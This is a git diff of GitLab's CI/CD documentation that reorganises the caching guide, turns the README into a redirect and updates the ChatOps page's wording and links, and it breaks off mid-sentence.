diff options
Diffstat (limited to 'doc/ci')
112 files changed, 8831 insertions, 8604 deletions
diff --git a/doc/ci/README.md b/doc/ci/README.md index dc4312250ca..5ab8653dc35 100644 --- a/doc/ci/README.md +++ b/doc/ci/README.md @@ -1,186 +1,8 @@ --- -stage: Verify -group: Pipeline Execution -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -comments: false -description: "Learn how to use GitLab CI/CD, the GitLab built-in Continuous Integration, Continuous Deployment, and Continuous Delivery toolset to build, test, and deploy your application." -type: index +redirect_to: 'index.md' --- -# GitLab CI/CD **(FREE)** +This document was moved to [another location](index.md). -GitLab CI/CD is a tool built into GitLab for software development -through the [continuous methodologies](introduction/index.md): - -- Continuous Integration (CI) -- Continuous Delivery (CD) -- Continuous Deployment (CD) - -NOTE: -Out-of-the-box management systems can decrease hours spent on maintaining toolchains by 10% or more. -Watch our ["Mastering continuous software development"](https://about.gitlab.com/webcast/mastering-ci-cd/) -webcast to learn about continuous methods and how the GitLab built-in CI can help you simplify and scale software development. - -Continuous Integration works by pushing small code chunks to your -application's codebase hosted in a Git repository, and to every -push, run a pipeline of scripts to build, test, and validate the -code changes before merging them into the main branch. - -Continuous Delivery and Deployment consist of a step further CI, -deploying your application to production at every -push to the default branch of the repository. - -These methodologies allow you to catch bugs and errors early in -the development cycle, ensuring that all the code deployed to -production complies with the code standards you established for -your app. - -GitLab can also automatically detect, build, test, deploy, and -monitor your applications by using [Auto DevOps](../topics/autodevops/index.md). - -For a complete overview of these methodologies and GitLab CI/CD, -read the [Introduction to CI/CD with GitLab](introduction/index.md). - -<div class="video-fallback"> - Video demonstration of GitLab CI/CD: <a href="https://www.youtube.com/watch?v=1iXFbchozdY">Demo: CI/CD with GitLab</a>. -</div> -<figure class="video-container"> - <iframe src="https://www.youtube.com/embed/1iXFbchozdY" frameborder="0" allowfullscreen="true"> </iframe> -</figure> - -## Concepts - -GitLab CI/CD uses a number of concepts to describe and run your build and deploy. - -| Concept | Description | -|:--------------------------------------------------------|:-------------------------------------------------------------------------------| -| [Pipelines](pipelines/index.md) | Structure your CI/CD process through pipelines. | -| [CI/CD variables](variables/README.md) | Reuse values based on a variable/value key pair. | -| [Environments](environments/index.md) | Deploy your application to different environments (e.g., staging, production). | -| [Job artifacts](pipelines/job_artifacts.md) | Output, use, and reuse job artifacts. | -| [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. | -| [GitLab Runner](https://docs.gitlab.com/runner/) | Configure your own runners to execute your scripts. | -| [Pipeline efficiency](pipelines/pipeline_efficiency.md) | Configure your pipelines to run quickly and efficiently. | -| [Test cases](test_cases/index.md) | Configure your pipelines to run quickly and efficiently. <!--- this seems to be a duplicate description ---> | - -## Configuration - -GitLab CI/CD supports numerous configuration options: - -| Configuration | Description | -|:----------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------| -| [Schedule pipelines](pipelines/schedules.md) | Schedule pipelines to run as often as you need. | -| [Custom path for `.gitlab-ci.yml`](pipelines/settings.md#custom-cicd-configuration-file) | Define a custom path for the CI/CD configuration file. | -| [Git submodules for CI/CD](git_submodules.md) | Configure jobs for using Git submodules. | -| [SSH keys for CI/CD](ssh_keys/index.md) | Using SSH keys in your CI pipelines. | -| [Pipeline triggers](triggers/README.md) | Trigger pipelines through the API. | -| [Pipelines for Merge Requests](merge_request_pipelines/index.md) | Design a pipeline structure for running a pipeline in merge requests. | -| [Integrate with Kubernetes clusters](../user/project/clusters/index.md) | Connect your project to Google Kubernetes Engine (GKE) or an existing Kubernetes cluster. | -| [Optimize GitLab and GitLab Runner for large repositories](large_repositories/index.md) | Recommended strategies for handling large repositories. | -| [`.gitlab-ci.yml` full reference](yaml/README.md) | All the attributes you can use with GitLab CI/CD. | - -Note that certain operations can only be performed according to the -[user](../user/permissions.md#gitlab-cicd-permissions) and [job](../user/permissions.md#job-permissions) permissions. - -## Feature set - -Use the vast GitLab CI/CD to easily configure it for specific purposes. -Its feature set is listed on the table below according to DevOps stages. - -| Feature | Description | -|:------------------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------------------------------------------------| -| **Configure** | | -| [Auto DevOps](../topics/autodevops/index.md) | Set up your app's entire lifecycle. | -| [ChatOps](chatops/index.md) | Trigger CI jobs from chat, with results sent back to the channel. | -|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| -| **Verify** | | -| [Browser Performance Testing](../user/project/merge_requests/browser_performance_testing.md) | Quickly determine the browser performance impact of pending code changes. | -| [Load Performance Testing](../user/project/merge_requests/load_performance_testing.md) | Quickly determine the server performance impact of pending code changes. | -| [CI services](services/index.md) | Link Docker containers with your base image. | -| [Code Quality](../user/project/merge_requests/code_quality.md) | Analyze your source code quality. | -| [GitLab CI/CD for external repositories](ci_cd_for_external_repos/index.md) **(PREMIUM)** | Get the benefits of GitLab CI/CD combined with repositories in GitHub and Bitbucket Cloud. | -| [Interactive Web Terminals](interactive_web_terminal/index.md) **(FREE SELF)** | Open an interactive web terminal to debug the running jobs. | -| [Unit test reports](unit_test_reports.md) | Identify script failures directly on merge requests. | -| [Using Docker images](docker/using_docker_images.md) | Use GitLab and GitLab Runner with Docker to build and test applications. | -|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| -| **Release** | | -| [Auto Deploy](../topics/autodevops/stages.md#auto-deploy) | Deploy your application to a production environment in a Kubernetes cluster. | -| [Building Docker images](docker/using_docker_build.md) | Maintain Docker-based projects using GitLab CI/CD. | -| [Canary Deployments](../user/project/canary_deployments.md) | Ship features to only a portion of your pods and let a percentage of your user base to visit the temporarily deployed feature. | -| [Deploy Boards](../user/project/deploy_boards.md) | Check the current health and status of each CI/CD environment running on Kubernetes. | -| [Feature Flags](../operations/feature_flags.md) **(PREMIUM)** | Deploy your features behind Feature Flags. | -| [GitLab Pages](../user/project/pages/index.md) | Deploy static websites. | -| [GitLab Releases](../user/project/releases/index.md) | Add release notes to Git tags. | -| [Review Apps](review_apps/index.md) | Configure GitLab CI/CD to preview code changes. | -| [Cloud deployment](cloud_deployment/index.md) | Deploy your application to a main cloud provider. | -|-------------------------------------------------------------------------------------------------+--------------------------------------------------------------------------------------------------------------------------------| -| **Secure** | | -| [Container Scanning](../user/application_security/container_scanning/index.md) **(ULTIMATE)** | Check your Docker containers for known vulnerabilities. | -| [Dependency Scanning](../user/application_security/dependency_scanning/index.md) **(ULTIMATE)** | Analyze your dependencies for known vulnerabilities. | -| [License Compliance](../user/compliance/license_compliance/index.md) **(ULTIMATE)** | Search your project dependencies for their licenses. | -| [Security Test reports](../user/application_security/index.md) **(ULTIMATE)** | Check for app vulnerabilities. | - -## Examples - -Find example project code and tutorials for using GitLab CI/CD with a variety of app frameworks, languages, and platforms -on the [CI Examples](examples/README.md) page. - -## Administration **(FREE SELF)** - -As a GitLab administrator, you can change the default behavior -of GitLab CI/CD for: - -- An [entire GitLab instance](../user/admin_area/settings/continuous_integration.md). -- Specific projects, using [pipelines settings](pipelines/settings.md). - -See also: - -- [How to enable or disable GitLab CI/CD](enable_or_disable_ci.md). -- Other [CI administration settings](../administration/index.md#continuous-integration-settings). - -## References - -### Why GitLab CI/CD? - -Learn more about: - -- [Why you might chose GitLab CI/CD](https://about.gitlab.com/blog/2016/10/17/gitlab-ci-oohlala/). -- [Reasons you might migrate from another platform](https://about.gitlab.com/blog/2016/07/22/building-our-web-app-on-gitlab-ci/). -- [5 Teams that made the switch to GitLab CI/CD](https://about.gitlab.com/blog/2019/04/25/5-teams-that-made-the-switch-to-gitlab-ci-cd/) - -See also the [Why CI/CD?](https://docs.google.com/presentation/d/1OGgk2Tcxbpl7DJaIOzCX4Vqg3dlwfELC3u2jEeCBbDk) presentation. - -### Breaking changes - -As GitLab CI/CD has evolved, certain breaking changes have -been necessary. These are: - -#### 13.0 - -- [Remove Backported `os.Expand`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4915). -- [Remove Fedora 29 package support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/16158). -- [Remove macOS 32-bit support](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/25466). -- [Removed `debug/jobs/list?v=1` endpoint](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6361). -- [Remove support for array of strings when defining services for Docker executor](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4922). -- [Remove `--docker-services` flag on register command](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6404). -- [Remove legacy build directory caching](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4180). -- [Remove `FF_USE_LEGACY_VOLUMES_MOUNTING_ORDER` feature flag](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6581). -- [Remove support for Windows Server 1803](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/6553). - -#### 12.0 - -- [Use `refspec` to clone/fetch Git repository](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4069). -- [Old cache configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4070). -- [Old metrics server configuration](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4072). -- [Remove `FF_K8S_USE_ENTRYPOINT_OVER_COMMAND`](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4073). -- [Remove Linux distributions that reach EOL](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1130). -- [Update command line API for helper images](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4013). -- [Remove old `git clean` flow](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/4175). - -#### 11.0 - -- No breaking changes. - -#### 10.0 - -- No breaking changes. +<!-- This redirect file can be deleted after 2021-09-28. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/caching/img/clear_runners_cache.png b/doc/ci/caching/img/clear_runners_cache.png Binary files differdeleted file mode 100644 index 4f1171513ad..00000000000 --- a/doc/ci/caching/img/clear_runners_cache.png +++ /dev/null diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md index 0778d598d32..0ed1e978168 100644 --- a/doc/ci/caching/index.md +++ b/doc/ci/caching/index.md @@ -5,13 +5,13 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: index, concepts, howto --- -# Caching in GitLab CI/CD +# Caching in GitLab CI/CD **(FREE)** A cache is one or more files that a job downloads and saves. Subsequent jobs that use the same cache don't have to download the files again, so they execute more quickly. To learn how to define the cache in your `.gitlab-ci.yml` file, -see the [`cache` reference](../yaml/README.md#cache). +see the [`cache` reference](../yaml/index.md#cache). ## How cache is different from artifacts @@ -19,114 +19,127 @@ Use cache for dependencies, like packages you download from the internet. Cache is stored where GitLab Runner is installed and uploaded to S3 if [distributed cache is enabled](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching). -- You can define it per job by using the `cache:` keyword. Otherwise it is disabled. -- You can define it per job so that: - - Subsequent pipelines can use it. - - Subsequent jobs in the same pipeline can use it, if the dependencies are identical. -- You cannot share it between projects. - Use artifacts to pass intermediate build results between stages. Artifacts are generated by a job, stored in GitLab, and can be downloaded. -- You can define artifacts per job. Subsequent jobs in later stages of the same - pipeline can use them. -- You can't use the artifacts in a different pipeline. - -Artifacts expire after 30 days unless you define an [expiration time](../yaml/README.md#artifactsexpire_in). -Use [dependencies](../yaml/README.md#dependencies) to control which jobs fetch the artifacts. - Both artifacts and caches define their paths relative to the project directory, and can't link to files outside it. +### Cache + +- Define cache per job by using the `cache:` keyword. Otherwise it is disabled. +- Subsequent pipelines can use the cache. +- Subsequent jobs in the same pipeline can use the cache, if the dependencies are identical. +- Different projects cannot share the cache. + +### Artifacts + +- Define artifacts per job. +- Subsequent jobs in later stages of the same pipeline can use artifacts. +- Different projects cannot share artifacts. + +Artifacts expire after 30 days unless you define an [expiration time](../yaml/index.md#artifactsexpire_in). +Use [dependencies](../yaml/index.md#dependencies) to control which jobs fetch the artifacts. + ## Good caching practices -To ensure maximum availability of the cache, when you declare `cache` in your jobs, -use one or more of the following: +To ensure maximum availability of the cache, do one or more of the following: - [Tag your runners](../runners/configure_runners.md#use-tags-to-limit-the-number-of-jobs-using-the-runner) and use the tag on jobs - that share their cache. + that share the cache. - [Use runners that are only available to a particular project](../runners/runners_scope.md#prevent-a-specific-runner-from-being-enabled-for-other-projects). -- [Use a `key`](../yaml/README.md#cachekey) that fits your workflow (for example, - different caches on each branch). For that, you can take advantage of the - [predefined CI/CD variables](../variables/README.md#predefined-cicd-variables). +- [Use a `key`](../yaml/index.md#cachekey) that fits your workflow. For example, + you can configure a different cache for each branch. For runners to work with caches efficiently, you must do one of the following: - Use a single runner for all your jobs. -- Use multiple runners (in autoscale mode or not) that use +- Use multiple runners that have [distributed caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching), - where the cache is stored in S3 buckets (like shared runners on GitLab.com). -- Use multiple runners (not in autoscale mode) of the same architecture that - share a common network-mounted directory (using NFS or something similar) - where the cache is stored. + where the cache is stored in S3 buckets. Shared runners on GitLab.com behave this way. These runners can be in autoscale mode, + but they don't have to be. +- Use multiple runners with the same architecture and have these runners + share a common network-mounted directory to store the cache. This directory should use NFS or something similar. + These runners must be in autoscale mode. -Read about the [availability of the cache](#availability-of-the-cache) -to learn more about the internals and get a better idea how cache works. +## Use multiple caches -### Share caches between jobs in the same branch +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32814) in GitLab 13.10. +> - [Feature Flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/321877), in GitLab 13.12. -Define a cache with the `key: ${CI_COMMIT_REF_SLUG}` so that jobs of each -branch always use the same cache: +You can have a maximum of four caches: ```yaml -cache: - key: ${CI_COMMIT_REF_SLUG} +test-job: + stage: build + cache: + - key: + files: + - Gemfile.lock + paths: + - vendor/ruby + - key: + files: + - yarn.lock + paths: + - .yarn-cache/ + script: + - bundle install --path=vendor + - yarn install --cache-folder .yarn-cache + - echo Run tests... ``` -This configuration is safe from accidentally overwriting the cache, but merge requests -get slow first pipelines. The next time a new commit is pushed to the branch, the -cache is re-used and jobs run faster. +If multiple caches are combined with a fallback cache key, +the fallback cache is fetched every time a cache is not found. -To enable per-job and per-branch caching: +## Use a fallback cache key -```yaml -cache: - key: "$CI_JOB_NAME-$CI_COMMIT_REF_SLUG" -``` +> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/merge_requests/1534) in GitLab Runner 13.4. -To enable per-stage and per-branch caching: - -```yaml -cache: - key: "$CI_JOB_STAGE-$CI_COMMIT_REF_SLUG" -``` +You can use the `$CI_COMMIT_REF_SLUG` [predefined variable](../variables/predefined_variables.md) +to specify your [`cache:key`](../yaml/index.md#cachekey). For example, if your +`$CI_COMMIT_REF_SLUG` is `test`, you can set a job to download cache that's tagged with `test`. -### Share caches across jobs in different branches +If a cache with this tag is not found, you can use `CACHE_FALLBACK_KEY` to +specify a cache to use when none exists. -To share a cache across all branches and all jobs, use the same key for everything: +In the following example, if the `$CI_COMMIT_REF_SLUG` is not found, the job uses the key defined +by the `CACHE_FALLBACK_KEY` variable: ```yaml -cache: - key: one-key-to-rule-them-all -``` - -To share caches between branches, but have a unique cache for each job: +variables: + CACHE_FALLBACK_KEY: fallback-key -```yaml -cache: - key: ${CI_JOB_NAME} +job1: + script: + - echo + cache: + key: "$CI_COMMIT_REF_SLUG" + paths: + - binaries/ ``` -### Disable cache for specific jobs +## Disable cache for specific jobs + +If you define the cache globally, each job uses the +same definition. You can override this behavior for each job. -If you have defined the cache globally, it means that each job uses the -same definition. You can override this behavior per-job, and if you want to -disable it completely, use an empty hash: +To disable it completely for a job, use an empty hash: ```yaml job: cache: {} ``` -### Inherit global configuration, but override specific settings per job +## Inherit global configuration, but override specific settings per job You can override cache settings without overwriting the global cache by using -[anchors](../yaml/README.md#anchors). For example, if you want to override the +[anchors](../yaml/index.md#anchors). For example, if you want to override the `policy` for one job: ```yaml cache: &global_cache - key: ${CI_COMMIT_REF_SLUG} + key: $CI_COMMIT_REF_SLUG paths: - node_modules/ - public/ @@ -141,24 +154,66 @@ job: policy: pull ``` -For more fine tuning, read also about the -[`cache: policy`](../yaml/README.md#cachepolicy). +For more information, see [`cache: policy`](../yaml/index.md#cachepolicy). + +## Common use cases for caches + +Usually you use caches to avoid downloading content, like dependencies +or libraries, each time you run a job. Node.js packages, +PHP packages, Ruby gems, Python libraries, and others can be cached. + +For examples, see the [GitLab CI/CD templates](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). + +### Share caches between jobs in the same branch + +To have jobs in each branch use the same cache, define a cache with the `key: $CI_COMMIT_REF_SLUG`: + +```yaml +cache: + key: $CI_COMMIT_REF_SLUG +``` + +This configuration prevents you from accidentally overwriting the cache. However, the +first pipeline for a merge request is slow. The next time a commit is pushed to the branch, the +cache is re-used and jobs run faster. -## Common use cases +To enable per-job and per-branch caching: -The most common use case of caching is to avoid downloading content like dependencies -or libraries repeatedly between subsequent runs of jobs. Node.js packages, -PHP packages, Ruby gems, Python libraries, and others can all be cached. +```yaml +cache: + key: "$CI_JOB_NAME-$CI_COMMIT_REF_SLUG" +``` -For more examples, check out our [GitLab CI/CD templates](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates). +To enable per-stage and per-branch caching: + +```yaml +cache: + key: "$CI_JOB_STAGE-$CI_COMMIT_REF_SLUG" +``` + +### Share caches across jobs in different branches + +To share a cache across all branches and all jobs, use the same key for everything: + +```yaml +cache: + key: one-key-to-rule-them-all +``` + +To share a cache between branches, but have a unique cache for each job: + +```yaml +cache: + key: $CI_JOB_NAME +``` ### Cache Node.js dependencies -If your project is using [npm](https://www.npmjs.com/) to install the Node.js +If your project uses [npm](https://www.npmjs.com/) to install Node.js dependencies, the following example defines `cache` globally so that all jobs inherit it. -By default, npm stores cache data in the home folder `~/.npm` but you -[can't cache things outside of the project directory](../yaml/README.md#cachepaths). -Instead, we tell npm to use `./.npm`, and cache it per-branch: +By default, npm stores cache data in the home folder (`~/.npm`). However, you +[can't cache things outside of the project directory](../yaml/index.md#cachepaths). +Instead, tell npm to use `./.npm`, and cache it per-branch: ```yaml # @@ -168,7 +223,7 @@ image: node:latest # Cache modules in between jobs cache: - key: ${CI_COMMIT_REF_SLUG} + key: $CI_COMMIT_REF_SLUG paths: - .npm/ @@ -182,8 +237,8 @@ test_async: ### Cache PHP dependencies -Assuming your project is using [Composer](https://getcomposer.org/) to install -the PHP dependencies, the following example defines `cache` globally so that +If your project uses [Composer](https://getcomposer.org/) to install +PHP dependencies, the following example defines `cache` globally so that all jobs inherit it. PHP libraries modules are installed in `vendor/` and are cached per-branch: @@ -195,7 +250,7 @@ image: php:7.2 # Cache libraries in between jobs cache: - key: ${CI_COMMIT_REF_SLUG} + key: $CI_COMMIT_REF_SLUG paths: - vendor/ @@ -211,9 +266,9 @@ test: ### Cache Python dependencies -Assuming your project is using [pip](https://pip.pypa.io/en/stable/) to install -the Python dependencies, the following example defines `cache` globally so that -all jobs inherit it. Python libraries are installed in a virtual environment under `venv/`, +If your project uses [pip](https://pip.pypa.io/en/stable/) to install +Python dependencies, the following example defines `cache` globally so that +all jobs inherit it. Python libraries are installed in a virtual environment under `venv/`. pip's cache is defined under `.cache/pip/` and both are cached per-branch: ```yaml @@ -252,7 +307,7 @@ test: ### Cache Ruby dependencies -Assuming your project is using [Bundler](https://bundler.io) to install the +If your project uses [Bundler](https://bundler.io) to install gem dependencies, the following example defines `cache` globally so that all jobs inherit it. Gems are installed in `vendor/ruby/` and are cached per-branch: @@ -264,7 +319,7 @@ image: ruby:2.6 # Cache gems in between builds cache: - key: ${CI_COMMIT_REF_SLUG} + key: $CI_COMMIT_REF_SLUG paths: - vendor/ruby @@ -277,7 +332,7 @@ rspec: - rspec spec ``` -If you have jobs that each need a different selection of gems, use the `prefix` +If you have jobs that need different gems, use the `prefix` keyword in the global `cache` definition. This configuration generates a different cache for each job. @@ -289,7 +344,7 @@ cache: key: files: - Gemfile.lock - prefix: ${CI_JOB_NAME} + prefix: $CI_JOB_NAME paths: - vendor/ruby @@ -310,7 +365,7 @@ deploy_job: ### Cache Go dependencies -Assuming your project is using [Go Modules](https://github.com/golang/go/wiki/Modules) to install +If your project uses [Go Modules](https://github.com/golang/go/wiki/Modules) to install Go dependencies, the following example defines `cache` in a `go-cache` template, that any job can extend. Go modules are installed in `${GOPATH}/pkg/mod/` and are cached for all of the `go` projects: @@ -334,35 +389,33 @@ test: ## Availability of the cache -Caching is an optimization, but it isn't guaranteed to always work. You need to -be prepared to regenerate any cached files in each job that needs them. +Caching is an optimization, but it isn't guaranteed to always work. You might need +to regenerate cached files in each job that needs them. -After you have defined a [cache in `.gitlab-ci.yml`](../yaml/README.md#cache), +After you define a [cache in `.gitlab-ci.yml`](../yaml/index.md#cache), the availability of the cache depends on: -- The runner's executor type +- The runner's executor type. - Whether different runners are used to pass the cache between jobs. ### Where the caches are stored -The runner is responsible for storing the cache, so it's essential -to know **where** it's stored. All the cache paths defined under a job in -`.gitlab-ci.yml` are archived in a single `cache.zip` file and stored in the -runner's configured cache location. By default, they are stored locally in the -machine where the runner is installed and depends on the type of the executor. +All caches defined for a job are archived in a single `cache.zip` file. +The runner configuration defines where the file is stored. By default, the cache +is stored on the machine where GitLab Runner is installed. The location also depends on the type of executor. -| GitLab Runner executor | Default path of the cache | +| Runner executor | Default path of the cache | | ---------------------- | ------------------------- | -| [Shell](https://docs.gitlab.com/runner/executors/shell.html) | Locally, stored under the `gitlab-runner` user's home directory: `/home/gitlab-runner/cache/<user>/<project>/<cache-key>/cache.zip`. | -| [Docker](https://docs.gitlab.com/runner/executors/docker.html) | Locally, stored under [Docker volumes](https://docs.gitlab.com/runner/executors/docker.html#the-builds-and-cache-storage): `/var/lib/docker/volumes/<volume-id>/_data/<user>/<project>/<cache-key>/cache.zip`. | -| [Docker machine](https://docs.gitlab.com/runner/executors/docker_machine.html) (autoscale runners) | Behaves the same as the Docker executor. | +| [Shell](https://docs.gitlab.com/runner/executors/shell.html) | Locally, under the `gitlab-runner` user's home directory: `/home/gitlab-runner/cache/<user>/<project>/<cache-key>/cache.zip`. | +| [Docker](https://docs.gitlab.com/runner/executors/docker.html) | Locally, under [Docker volumes](https://docs.gitlab.com/runner/executors/docker.html#the-builds-and-cache-storage): `/var/lib/docker/volumes/<volume-id>/_data/<user>/<project>/<cache-key>/cache.zip`. | +| [Docker Machine](https://docs.gitlab.com/runner/executors/docker_machine.html) (autoscale runners) | The same as the Docker executor. | If you use cache and artifacts to store the same path in your jobs, the cache might be overwritten because caches are restored before artifacts. ### How archiving and extracting works -This example has two jobs that belong to two consecutive stages: +This example shows two jobs in two consecutive stages: ```yaml stages: @@ -394,7 +447,7 @@ job B: - vendor/ ``` -If you have one machine with one runner installed, and all jobs for your project +If one machine has one runner installed, then all jobs for your project run on the same host: 1. Pipeline starts. @@ -434,27 +487,54 @@ different architecture (for example, when the cache includes binary files). Also because the different steps might be executed by runners running on different machines, it is a safe default. +## Clearing the cache + +Runners use [cache](../yaml/index.md#cache) to speed up the execution +of your jobs by reusing existing data. This can sometimes lead to +inconsistent behavior. + +There are two ways to start with a fresh copy of the cache. + +### Clear the cache by changing `cache:key` + +Change the value for `cache: key` in your `.gitlab-ci.yml` file. +The next time the pipeline runs, the cache is stored in a different location. + +### Clear the cache manually + +> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41249) in GitLab 10.4. + +You can clear the cache in the GitLab UI: + +1. On the top bar, select **Menu > Projects** and find your project. +1. On the left sidebar, select **CI/CD > Pipelines** page. +1. In the top right, select **Clear runner caches**. + +On the next commit, your CI/CD jobs use a new cache. + +NOTE: +Each time you clear the cache manually, the [internal cache name](#where-the-caches-are-stored) is updated. The name uses the format `cache-<index>`, and the index increments by one. The old cache is not deleted. You can manually delete these files from the runner storage. + +## Troubleshooting + ### Cache mismatch -In the following table, you can see some reasons where you might hit a cache -mismatch and a few ideas how to fix it. +If you have a cache mismatch, follow these steps to troubleshoot. -| Reason of a cache mismatch | How to fix it | -| -------------------------- | ------------- | -| You use multiple standalone runners (not in autoscale mode) attached to one project without a shared cache | Use only one runner for your project or use multiple runners with distributed cache enabled | -| You use runners in autoscale mode without a distributed cache enabled | Configure the autoscale runner to use a distributed cache | -| The machine the runner is installed on is low on disk space or, if you've set up distributed cache, the S3 bucket where the cache is stored doesn't have enough space | Make sure you clear some space to allow new caches to be stored. There's no automatic way to do this. | +| Reason for a cache mismatch | How to fix it | +| --------------------------- | ------------- | +| You use multiple standalone runners (not in autoscale mode) attached to one project without a shared cache. | Use only one runner for your project or use multiple runners with distributed cache enabled. | +| You use runners in autoscale mode without a distributed cache enabled. | Configure the autoscale runner to use a distributed cache. | +| The machine the runner is installed on is low on disk space or, if you've set up distributed cache, the S3 bucket where the cache is stored doesn't have enough space. | Make sure you clear some space to allow new caches to be stored. There's no automatic way to do this. | | You use the same `key` for jobs where they cache different paths. | Use different cache keys to that the cache archive is stored to a different location and doesn't overwrite wrong caches. | -Let's explore some examples. - -#### Examples +#### Cache mismatch example 1 -Let's assume you have only one runner assigned to your project, so the cache -is stored in the runner's machine by default. +If you have only one runner assigned to your project, the cache +is stored on the runner's machine by default. -Two jobs could cause caches to be overwritten if they have the same cache key, but -they cache a different path: +If two jobs have the same cache key but a different path, the caches can be overwritten. +For example: ```yaml stages: @@ -486,11 +566,14 @@ job B: 1. The next time `job A` runs it uses the cache of `job B` which is different and thus isn't effective. -To fix that, use different `keys` for each job. +To fix this issue, use different `keys` for each job. -In another case, let's assume you have more than one runner assigned to your -project, but the distributed cache is not enabled. The second time the -pipeline is run, we want `job A` and `job B` to re-use their cache (which in this case +#### Cache mismatch example 2 + +In this example, you have more than one runner assigned to your +project, and distributed cache is not enabled. + +The second time the pipeline runs, you want `job A` and `job B` to re-use their cache (which in this case is different): ```yaml @@ -516,46 +599,4 @@ job B: ``` Even if the `key` is different, the cached files might get "cleaned" before each -stage if the jobs run on different runners in the subsequent pipelines. - -## Clearing the cache - -Runners use [cache](../yaml/README.md#cache) to speed up the execution -of your jobs by reusing existing data. This however, can sometimes lead to an -inconsistent behavior. - -To start with a fresh copy of the cache, there are two ways to do that. - -### Clearing the cache by changing `cache:key` - -All you have to do is set a new `cache: key` in your `.gitlab-ci.yml`. In the -next run of the pipeline, the cache is stored in a different location. - -### Clearing the cache manually - -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41249) in GitLab 10.4. - -If you want to avoid editing `.gitlab-ci.yml`, you can clear the cache -via the GitLab UI: - -1. Navigate to your project's **CI/CD > Pipelines** page. -1. Click on the **Clear runner caches** button to clean up the cache. - -  - -1. On the next push, your CI/CD job uses a new cache. - -NOTE: -Each time you clear the cache manually, the [internal cache name](#where-the-caches-are-stored) is updated. The name uses the format `cache-<index>`, and the index increments by one each time. The old cache is not deleted. You can manually delete these files from the runner storage. - -<!-- ## Troubleshooting - -Include any troubleshooting steps that you can foresee. If you know beforehand what issues -one might have when setting this up, or when something is changed, or on upgrading, it's -important to describe those, too. Think of things that may go wrong and include them here. -This is important to minimize requests for support, and to avoid doc comments with -questions that you know someone might ask. - -Each scenario can be a third-level heading, e.g. `### Getting error message X`. -If you have none to add when creating a doc, leave this section in place -but commented out to help encourage others to add to it in the future. --> +stage if the jobs run on different runners in subsequent pipelines. diff --git a/doc/ci/chatops/README.md b/doc/ci/chatops/README.md deleted file mode 100644 index 577a80407d7..00000000000 --- a/doc/ci/chatops/README.md +++ /dev/null @@ -1,9 +0,0 @@ ---- -redirect_to: 'index.md' -remove_date: '2021-05-01' ---- - -This document was moved to [another location](index.md). - -<!-- This redirect file can be deleted after 2021-05-01. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/chatops/index.md b/doc/ci/chatops/index.md index 5f661731660..03a1005c9bc 100644 --- a/doc/ci/chatops/index.md +++ b/doc/ci/chatops/index.md @@ -25,23 +25,23 @@ with the following arguments: - A `<job name>` to execute. - The `<job arguments>`. -ChatOps passes the following [CI/CD variables](../variables/README.md#predefined-cicd-variables) +ChatOps passes the following [CI/CD variables](../variables/index.md#predefined-cicd-variables) to the job: - `CHAT_INPUT` contains any additional arguments. - `CHAT_CHANNEL` is set to the name of channel the action was triggered in. When executed, ChatOps looks up the specified job name and attempts to match it -to a corresponding job in [`.gitlab-ci.yml`](../yaml/README.md). If a matching job -is found on `master`, a pipeline containing only that job is scheduled. After the +to a corresponding job in [`.gitlab-ci.yml`](../yaml/index.md). If a matching job +is found on the default branch, a pipeline containing only that job is scheduled. After the job completes: - If the job completes in *less than 30 minutes*, the ChatOps sends the job's output to Slack. - If the job completes in *more than 30 minutes*, the job must use the [Slack API](https://api.slack.com/) to send data to the channel. -To use the `run` command, you must have -[Developer access or above](../../user/permissions.md#project-members-permissions). +To use the `run` command, you must have at least the +[Developer role](../../user/permissions.md#project-members-permissions). If a job shouldn't be able to be triggered from chat, you can set the job to `except: [chat]`. ## Best practices for ChatOps CI jobs @@ -53,11 +53,11 @@ functions available. Consider these best practices when creating ChatOps jobs: of the standard CI pipeline. - If the job is set to `when: manual`, ChatOps creates the pipeline, but the job waits to be started. - ChatOps provides limited support for access control. If the user triggering the - slash command has [Developer access or above](../../user/permissions.md#project-members-permissions) + slash command has at least the [Developer role](../../user/permissions.md#project-members-permissions) in the project, the job runs. The job itself can use existing - [CI/CD variables](../variables/README.md#predefined-cicd-variables) like + [CI/CD variables](../variables/index.md#predefined-cicd-variables) like `GITLAB_USER_ID` to perform additional rights validation, but - these variables can be [overridden](../variables/README.md#cicd-variable-precedence). + these variables can be 